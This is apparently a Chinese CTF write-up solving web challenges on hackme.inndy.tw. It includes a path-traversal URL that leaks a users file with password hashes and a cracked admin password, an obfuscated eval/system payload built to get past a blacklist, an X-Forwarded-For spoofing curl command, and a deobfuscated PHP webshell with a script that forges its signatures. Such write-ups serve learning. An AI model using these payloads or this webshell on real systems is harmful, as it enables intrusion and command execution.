hackme.inndy.tw的19道web题解(下)
目录
- 写在前面
- ......
- dafuq-manager 1
- dafuq-manager 2.
- dafuq-manager 3.
- wordpress 1.
- webshell
写在前面
最近发现了一个比较有趣的ctf-oj,给出链接
https://hackme.inndy.tw/
里面有不少web题,我这里
因为依照出题人的要求:
本次文章不会直接给出flag,但是会有详细的分析和攻击脚本
0x15 dafuq-manager 1
将cookie中的show_hidden改为yes即可
0x16 dafuq-manager 2
典型的代码审计题目,题目要求我们以管理员身份登入即可获得flag
审计代码,首先从入口index.php开始
php
case "admin":
require "./core/fun_admin.php";
show_admin($GLOBALS["dir"]);
break;
跟进这里的show_admin
php
function show_admin($dir) {
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);
if (!$GLOBALS["require_login"]) show_error($GLOBALS["error_msg"]["miscnofunc"]);
if (isset($GLOBALS['__GET']["action2"])) $action2 = $GLOBALS['__GET']["action2"];
elseif (isset($GLOBALS['__POST']["action2"])) $action2 = $GLOBALS['__POST']["action2"];
else $action2 = "";
switch ($action2) {
case "chpwd":
if (!$pwd) show_error($GLOBALS["error_msg"]["accessfunc"]);
changepwd($dir);
break;
case "adduser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
adduser($dir);
break;
case "edituser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
edituser($dir);
break;
case "rmuser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
removeuser($dir);
break;
default:
if (!$pwd && !$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
admin($admin, $dir);
}
}
想成为admin必须满足
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);
于是我们搜索$GLOBALS["permissions"]的赋值
在/core/fun_users.php里发现
php
function activate_user($user, $pass) {
$data = find_user($user, $pass);
if ($data == NULL) return false;
$GLOBALS['__SESSION']["s_user"] = $data[0];
$GLOBALS['__SESSION']["s_pass"] = $data[1];
$GLOBALS["home_dir"] = $data[2];
$GLOBALS["home_url"] = $data[3];
$GLOBALS["show_hidden"] = $data[4];
$GLOBALS["no_access"] = $data[5];
$GLOBALS["permissions"] = $data[6];
return true;
}
可以发现赋值来源于$data[6]
而$data = find_user($user, $pass)
所以我们跟进find_user()函数
还是在这个文件中
php
function &find_user($user, $pass) {
$cnt = count($GLOBALS["users"]);
for ($i = 0;$i < $cnt;++$i) {
if ($user == $GLOBALS["users"][$i][0]) {
if ($pass == NULL || ($pass == $GLOBALS["users"][$i][1] && $GLOBALS["users"][$i][7])) {
return $GLOBALS["users"][$i];
}
}
}
return NULL;
}
可以发现来源于$GLOBALS["users"]
我们找到这个变量的赋值
可以在/.config/.htusers.php中发现
php
<?php
$GLOBALS["users"] = array(
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://game1.security.ntu.st/data/guest", 0, "^.ht", 1, 1),
);
然而源码泄露中,这个文件中只给出了guest的值,所以我们下面要做的是去读文件,得到admin的密码
首先查找读文件的函数:
在/core/fun_down.php可以发现一处readfile()
php
function download_item($dir, $item) {
$item = basename($item);
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$abs_item = get_abs_item($dir, $item);
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$browser = id_browser();
header('Content-Type: ' . (($browser == 'IE' || $browser == 'OPERA') ? 'application/octetstream' : 'application/octet-stream'));
header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($abs_item));
if ($browser == 'IE') {
header('Content-Disposition: attachment; filename="' . $item . '"');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
} else {
header('Content-Disposition: attachment; filename="' . $item . '"');
header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');
}
@readfile($abs_item);
exit;
}
我们看一下处理
关键行
php
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
这里对文件进行过滤,而我们要读的路径正是/.config/.htusers.php
所以这里的下载文件功能无法完成我们的目的
接着寻找
在/core/fun_edit.php中发现端倪
php
function edit_file($dir, $item) {
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$fname = get_abs_item($dir, $item);
if (!file_in_web($fname)) show_error($GLOBALS["error_msg"]["accessfile"]);
if (isset($GLOBALS['__POST']["dosave"]) && $GLOBALS['__POST']["dosave"] == "yes") {
$item = basename(stripslashes($GLOBALS['__POST']["fname"]));
$fname2 = get_abs_item($dir, $item);
if (!isset($item) || $item == "") show_error($GLOBALS["error_msg"]["miscnoname"]);
if ($fname != $fname2 && @file_exists($fname2)) show_error($item . ": " . $GLOBALS["error_msg"]["itemdoesexist"]);
savefile($dir, $fname2);
$fname = $fname2;
}
$fp = @fopen($fname, "r");
if ($fp === false) show_error($item . ": " . $GLOBALS["error_msg"]["openfile"]);
$s_item = get_rel_item($dir, $item);
if (strlen($s_item) > 50) $s_item = "..." . substr($s_item, -47);
show_header($GLOBALS["messages"]["actedit"] . ": /" . $s_item); ?>
我们逐句分析:
第一个判断:
php
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
我们guest的$GLOBALS["permissions"]是1,显然满足
第二个判断
php
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
仅仅检测路径文件是否存在,这里不是安全防护,所以暂不用看
第三个判断
php
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
我们跟进get_show_item()
php
function get_show_item($dir, $item) {
if ($item == "." || $item == "..") return false;
if ($_COOKIE['help'] == 'me') {
$_COOKIE['help'] = null;
setcookie('help', '', time() - 9999999999);
echo '<script>alert("Very good. You know how to create cookie. How about tamper a cookie?")</script>';
}
if (empty($_COOKIE['show_hidden'])) {
setcookie('show_hidden', 'no', time() + 3600);
}
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;
if ($GLOBALS["no_access"] != "" && @eregi($GLOBALS["no_access"], $item)) return false;
if ($GLOBALS["show_hidden"] == false) {
$dirs = explode("/", $dir);
foreach ($dirs as $i) if (substr($i, 0, 1) == ".") return false;
}
return true;
}
发现这里的防御十分不严谨,对$item的变量防护仅仅停留在
php
if ($item == "." || $item == "..") return false;
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;
这样的绕过十分容易
构造:
item = /../../../../../etc/passwd
即可造成目录穿越读取任意文件
我们尝试:
https://dafuq-manager.hackme.inndy.tw/index.php?action=edit&item=
/../../../../../../var/www/webhdisk/.config/.htusers.php
发现文件读取成功
<?php
$GLOBALS["users"] = array(
array("adm1n15trat0r", "34af0d074b17f44d1bb939765b02776f", "./data", "https://dafuq-manager.hackme.inndy.tw/data", 1, "^.ht", 7, 1),
array("inndy", "fc5e038d38a57032085441e7fe7010b0", "./data/inndy", "https://dafuq-manager.hackme.inndy.tw/data/inndy", 0, "^.ht", 1, 1),
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://dafuq-manager.hackme.inndy.tw/data/guest", 0, "^.ht", 1, 1),
);
此时我们拿到了管理员密码的md5,解md5
34af0d074b17f44d1bb939765b02776f
how do you turn this on
随即登录
adm1n15trat0r
how do you turn this on
即可拿到flag
0x17 dafuq-manager 3
这一问是让我们找到网站的命令执行问题,拿到shell
我们审计代码,在/core/fun_debug.php发现了问题
关键函数
php
function do_debug() {
assert(strlen($GLOBALS['secret_key']) > 40);
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}
list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
$cmd = base64_decode($cmd);
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) {
die('2bad');
}
}
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));
} else {
show_error('What does the fox say?');
}
}
我们逐个分析
这里需要我们绕过
php
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}
而我们知道strcmp的黑魔法,可以用数组绕过,例如dir[]=1
然后是cmd参数,需要我们的base64的命令,并且和hmac消息验证码拼接
这里代码中给出了生成的函数
php
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
我们直接调用即可
然后关注到黑名单过滤
php
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
这里虽然存在一些过滤,但是我们可以用base64编码绕过
所以我的攻击脚本如下
php
<?php
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3');
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
echo make_command('$a='ass';$b='ert';$c=$a.$b;$c(base64_decode('c3lzdGVtKCcuL2ZsYWczL21lb3cgLi9mbGFnMy9mbGFnMycp'));');
?>
这里容易探测到flag存在于当前目录的flag3文件夹下,但是直接读取无法读到
必须要用系统命令执行他这个文件夹下的c文件,而用这个base64绕过方法刚好可以轻松绕过,执行系统命令
0x18 wordpress 1
在web-security-course-game2wordpresswp-contentpluginscore.php
发现问题
php
function print_f14g()
{
$h = 'm'.sprintf('%s%d','d',-4+9e0);
if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') {
if(wp_get_user_ip() === '127.0.0.1') {
eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT)));
} else {
die('</head><body><h1>Sorry, Only admin from localhost can get flag');
}
}
}
add_action('wp_head', 'print_f14g');
于是构造
https://wp.hackme.inndy.tw/?passw0rd=cat%20flag
访问发现
Sorry, Only admin from localhost can get flag
跟一下限制wp_get_user_ip()
发现
php
function wp_get_user_ip() {
$ip = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
return $ip;
}
可以用xff绕过,所以得到payload
curl -H "X-Forwarded-For=127.0.0.1" 'https://wp.hackme.inndy.tw/?passw0rd=cat flag'|grep flag
运行即可拿到flag
0x019 webshell
查看源代码发现可疑代码
php
<?php $cation = "Stx72x5frx4ftx313";
$e_obfus="bx41Sex364x5fx44ex43ode";
$e_cod = "gx5ainflx41tx45" ; $sourc =
"Stx72x72x45v"; @eval ($sourc($e_cod(
$e_obfus($cation("KMSqn8VjTVKi9lgrcMtH3V
qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
STW8OO9t13k2/7r+He8BfU")))));
解第一层得到:
php
@eval (StrrEv(gZinflAtE(
bASe64_DeCode(Str_rOt13("KMSqn8VjTVKi9lgrcMtH3V
qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
STW8OO9t13k2/7r+He8BfU")))));
发现是gZinflAtE(bASe64_DeCode(''))形式的后门,这里直接输出
php
echo (StrrEv(gZinflAtE(
bASe64_DeCode(Str_rOt13("KMSqn8VjTVKi9lgrcMtH3V
qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
STW8OO9t13k2/7r+He8BfU")))));
把eval换成echo即可
可以得到解密后文件
php
<?php
function run()
{
if (isset($_GET['cmd']) && isset($_GET['sig'])) {
$cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string) $_GET['cmd'];
$key = $_SERVER['HTTP_USER_AGENT'] . sha1($_SERVER['HTTP_HOST']);
$sig = hash_hmac('SHA512', $cmd, $key);
if ($sig === (string) $_GET['sig']) {
header('Content-Type: text/plain');
return !!system($cmd);
}
}
return false;
}
function fuck()
{
print str_repeat("n", 4096);
readfile($_SERVER['SCRIPT_FILENAME']);
}
run() ?: fuck();
很简单,想要执行命令就要绕过
$sig === (string) $_GET['sig']
而这个的生成也非常容易,我们在服务器上放脚本
php
<?php
$cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string)$_GET['sky'];
$true_cmd = $_GET['sky'];
$key = $_SERVER['HTTP_USER_AGENT'] . sha1('webshell.hackme.inndy.tw');
$sig = hash_hmac('SHA512', $true_cmd, $key);
echo urlencode($cmd);
echo '<br>';
echo $sig;
?>
然后用这个脚本生成payload即可
最后题目的flag用了隐藏文件,ls -al即可看见
total 32
drwxr-xr-x 2 root root 4096 Jan 19 07:30 .
drwxr-xr-x 6 root root 4096 Jan 19 07:30 ..
-rw-r--r-- 1 root root 40 Jan 11 19:33 .htflag
-rw-r--r-- 1 root root 13 Jan 11 19:28 flag
-rw-r--r-- 1 root root 612 Jan 19 07:23 index.nginx-debian.html
-rw-r--r-- 1 root root 603 Jan 19 07:30 index.php
-rw-r--r-- 1 root root 72 Jan 11 19:46 ip.php
-rw-r--r-- 1 root root 48 Jan 19 07:22 robots.txt
真的flag藏在了.htflag
- 从数据到代码——通过代码生成机制实现强类型编程[下篇]
- 谈谈你最熟悉的System.DateTime[下篇]
- 如何解决EnterLib异常处理框架最大的局限——基于异常"类型"的异常处理策略
- [WCF权限控制]从两个重要的概念谈起:Identity与Principal[下篇]
- 收藏!6道常见hadoop面试题及答案解析
- 这是EnterLib PIAB的BUG吗?
- [WCF权限控制]基于Windows用户组的授权方式[上篇]
- EnterLib PIAB又一个BUG?
- 关于WCF的一个非常“无语”的BUG!
- 谈谈分布式事务之一:SOA需要怎样的事务控制方式
- [WCF权限控制]WCF的三种授权模式
- [WCF安全系列]消息的保护等级[下篇]
- [WCF安全系列]通过绑定元素看各种绑定对消息保护的实现
- 通过添加HTTP Header实现上下文数据在WCF的自动传递
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 这样的奇技淫巧,劝你不用也罢
- 我服务又双叒叕奔溃了,含泪干货分享
- Azure DevOps+Docker+Asp.NET Core 实现CI/CD(一 .简介与创建自己的代理池)
- Android数据库高手秘籍(十二),LitePal的索引功能
- 使用pm2管理go应用进程
- 用Docker搭建Redis主从复制的集群
- IDEA 非常重要的一些设置项 → 一连串的问题差点让我重新用回 Eclipse !
- ArrayList源码分析(基于jdk1.8)(二):subList陷阱补充
- Windows10中安装Docker
- Windows下Docker安装ClickHouse
- ArrayList源码分析(基于jdk1.8)(三):Arrays.asList方法带来的问题
- 对基本类型包装类常量池的补充
- 与IntegerCache有关的一个比较坑的面试题
- C# Foreach循环本质与枚举器
- Java中的时间和日期(一):有关java时间的哪些坑